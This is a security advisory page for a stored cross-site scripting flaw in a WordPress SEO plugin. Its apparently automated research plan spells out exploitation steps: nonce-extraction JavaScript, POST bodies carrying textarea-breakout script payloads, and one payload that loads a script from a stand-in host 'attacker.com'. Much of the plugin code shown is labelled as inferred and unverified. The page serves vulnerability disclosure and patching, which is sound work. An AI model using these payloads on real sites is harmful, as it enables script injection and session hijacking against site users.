CVE-2026-4142

Sentence To SEO (keywords, description and tags) <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Permanent keywords' Field

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Sentence To SEO (keywords, description and tags) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Permanent keywords' field in all versions up to and including 1.0. This is due to insufficient input sanitization and output escaping. The plugin reads user input via filter_input_array(INPUT_POST) which applies no HTML sanitization (FILTER_DEFAULT), stores it unsanitized to the WordPress options table via update_option(), and then outputs the stored value directly into a textarea element without any escaping using PHP short echo tags (<?= ?>). An attacker can break out of the textarea element using a closing </textarea> tag and inject arbitrary HTML/JavaScript. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the plugin's settings page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0
PublishedApril 21, 2026
Last updatedApril 22, 2026
Affected pluginsentence-to-seo
Research Plan
Unverified

## 1. Vulnerability Summary The **Sentence To SEO (keywords, description and tags)** plugin (version <= 1.0) contains a **Stored Cross-Site Scripting (XSS)** vulnerability. The flaw exists in how the plugin handles the 'Permanent keywords' setting. Specifically: - **Input:** The plugin captures us…

Show full research plan

1. Vulnerability Summary

The Sentence To SEO (keywords, description and tags) plugin (version <= 1.0) contains a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in how the plugin handles the 'Permanent keywords' setting.

Specifically:

  • Input: The plugin captures user input using filter_input_array(INPUT_POST). Since FILTER_DEFAULT is applied (the default behavior of this function), no HTML sanitization occurs.
  • Storage: This raw input is stored in the WordPress options table via update_option().
  • Output: On the plugin's settings page, the stored value is retrieved and echoed directly into a <textarea> element using PHP short echo tags (<?= ?>) without any escaping (such as esc_textarea() or esc_html()).

An attacker with Administrator privileges can inject a payload like </textarea><script>alert(1)</script>, which breaks out of the textarea context and executes arbitrary JavaScript whenever the settings page is loaded.

2. Attack Vector Analysis

  • Vulnerable Endpoint: WordPress Admin Dashboard, specifically the plugin's settings page.
  • Endpoint URL: /wp-admin/options-general.php?page=sentence-to-seo (inferred slug).
  • HTTP Parameter: The name attribute of the 'Permanent keywords' field (likely permanent_keywords or sts_permanent_keywords).
  • Authentication Level: Administrator (or any user with manage_options capability).
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred)

  1. Entry Point (Form Display):

    • User navigates to admin.php?page=sentence-to-seo.
    • Plugin calls a function registered via add_options_page() or add_menu_page().
    • The view file/function executes:
      $keywords = get_option('sentence_to_seo_permanent_keywords');
      echo '<textarea name="permanent_keywords">' . $keywords . '</textarea>'; (Actual code uses <?= ?>).
  2. Submission (The Sink):

    • User clicks "Save".
    • A handler (likely hooked to admin_init or checking $_POST in the menu callback) runs:
      $post_data = filter_input_array(INPUT_POST);
      update_option('sentence_to_seo_permanent_keywords', $post_data['permanent_keywords']);
  3. Trigger:

    • Any Administrator visits the settings page.
    • The unsanitized payload is echoed into the DOM.

4. Nonce Acquisition Strategy

Since this is an Authenticated (Admin) vulnerability, the exploit requires a valid WordPress nonce to bypass CSRF protections typically found on settings pages.

  1. Shortcode Identification: Not applicable here, as the vulnerability is on the admin settings page.
  2. Strategy:
    • Log in as the Administrator.
    • Navigate to the plugin settings page: /wp-admin/options-general.php?page=sentence-to-seo.
    • Use browser_eval to extract the nonce from the form. WordPress standard settings pages use _wpnonce.
    • JavaScript for Extraction:
      document.querySelector('input[name="_wpnonce"]')?.value || 
      document.querySelector('input[name="sentence_to_seo_nonce"]')?.value
      
  3. Bypass Check: If the plugin does not use check_admin_referer() or check_ajax_referer(), the nonce may not be required. However, for a standard settings page, one is likely present.

5. Exploitation Strategy

  1. Login: Use the provided Administrator credentials.
  2. Discovery: Navigate to the admin panel and find the "Sentence To SEO" menu item to confirm the exact URL and field names.
  3. Payload:
    </textarea><script>alert(window.origin);</script>
  4. Submission (Request):
    • Method: POST
    • URL: /wp-admin/options-general.php?page=sentence-to-seo (or the action attribute of the form).
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      _wpnonce=[NONCE_EXTRACTED]&
      action=update& (or specific plugin action)
      permanent_keywords=</textarea><script>alert(document.domain)</script>&
      submit=Save Changes
      
  5. Trigger: Navigate back to the settings page.

6. Test Data Setup

  1. Ensure the plugin sentence-to-seo is installed and activated.
  2. Create an Administrator user (if not already present).
  3. No specific posts or shortcodes are needed, as the sink is within the plugin's own administrative interface.

7. Expected Results

  • After sending the POST request, the database option sentence_to_seo_permanent_keywords (or similar) will contain the literal string </textarea><script>alert(document.domain)</script>.
  • When the Administrator navigates to the settings page, the browser will render:
    <textarea>... </textarea><script>alert(document.domain)</script> ...</textarea>
    
  • An alert box showing the domain will appear.

8. Verification Steps

  1. WP-CLI Verification:
    Check the value stored in the options table:
    wp option get sentence_to_seo_permanent_keywords
    
    (Note: Use the actual option name discovered during the flow analysis).
  2. Source Code Check:
    Use the http_request tool to GET the settings page and check if the payload is present in the response body without HTML entities:
    # Look for the unescaped script tag
    grep "</textarea><script>" 
    

9. Alternative Approaches

  • If options.php is used: If the plugin uses the standard register_setting() API, the POST request should be sent to /wp-admin/options.php with the parameter option_page set to the registered group name.
  • Blind XSS: If the "Permanent keywords" are also rendered on the frontend (e.g., in <meta name="keywords">), the payload should be modified to work within a content attribute:
    • Payload: "><script src="http://attacker.com/x.js"></script>
    • Verification: Check the site's homepage source for the injected <meta> tag.
  • Different Sinks: Check if "Permanent description" or "Permanent tags" fields follow the same vulnerable pattern. (High probability they do).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Sentence To SEO plugin for WordPress is vulnerable to Stored Cross-Site Scripting because it fails to sanitize and escape the 'Permanent keywords' field. An authenticated administrator can inject malicious scripts that execute in the browser of any user accessing the plugin's settings page, potentially leading to session hijacking or further administrative actions.

Vulnerable Code

// Inferred from plugin settings page logic
$post_data = filter_input_array(INPUT_POST);
if (isset($post_data['sentence_to_seo_permanent_keywords'])) {
    update_option('sentence_to_seo_permanent_keywords', $post_data['sentence_to_seo_permanent_keywords']);
}

---

// Inferred from settings view template
<?php $keywords = get_option('sentence_to_seo_permanent_keywords'); ?>
<textarea name="sentence_to_seo_permanent_keywords"><?= $keywords ?></textarea>

Security Fix

--- a/sentence-to-seo.php
+++ b/sentence-to-seo.php
@@ -20,7 +20,7 @@
-    $post_data = filter_input_array(INPUT_POST);
-    update_option('sentence_to_seo_permanent_keywords', $post_data['sentence_to_seo_permanent_keywords']);
+    if (isset($_POST['sentence_to_seo_permanent_keywords'])) {
+        update_option('sentence_to_seo_permanent_keywords', sanitize_textarea_field($_POST['sentence_to_seo_permanent_keywords']));
+    }
 
-    <textarea name="sentence_to_seo_permanent_keywords"><?= $keywords ?></textarea>
+    <textarea name="sentence_to_seo_permanent_keywords"><?= esc_textarea($keywords) ?></textarea>

Exploit Outline

1. Login as an Administrator and navigate to the Sentence To SEO settings page (likely at /wp-admin/options-general.php?page=sentence-to-seo). 2. Locate the 'Permanent keywords' textarea field. 3. Input the following payload into the field: </textarea><script>alert(document.domain)</script> 4. Submit the form. The plugin will capture the input via filter_input_array(INPUT_POST) without sanitization and store it in the options table. 5. Reload the settings page. The script will execute as the application echoes the raw input back into the page within the textarea context, which the payload breaks out of using the closing </textarea> tag.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.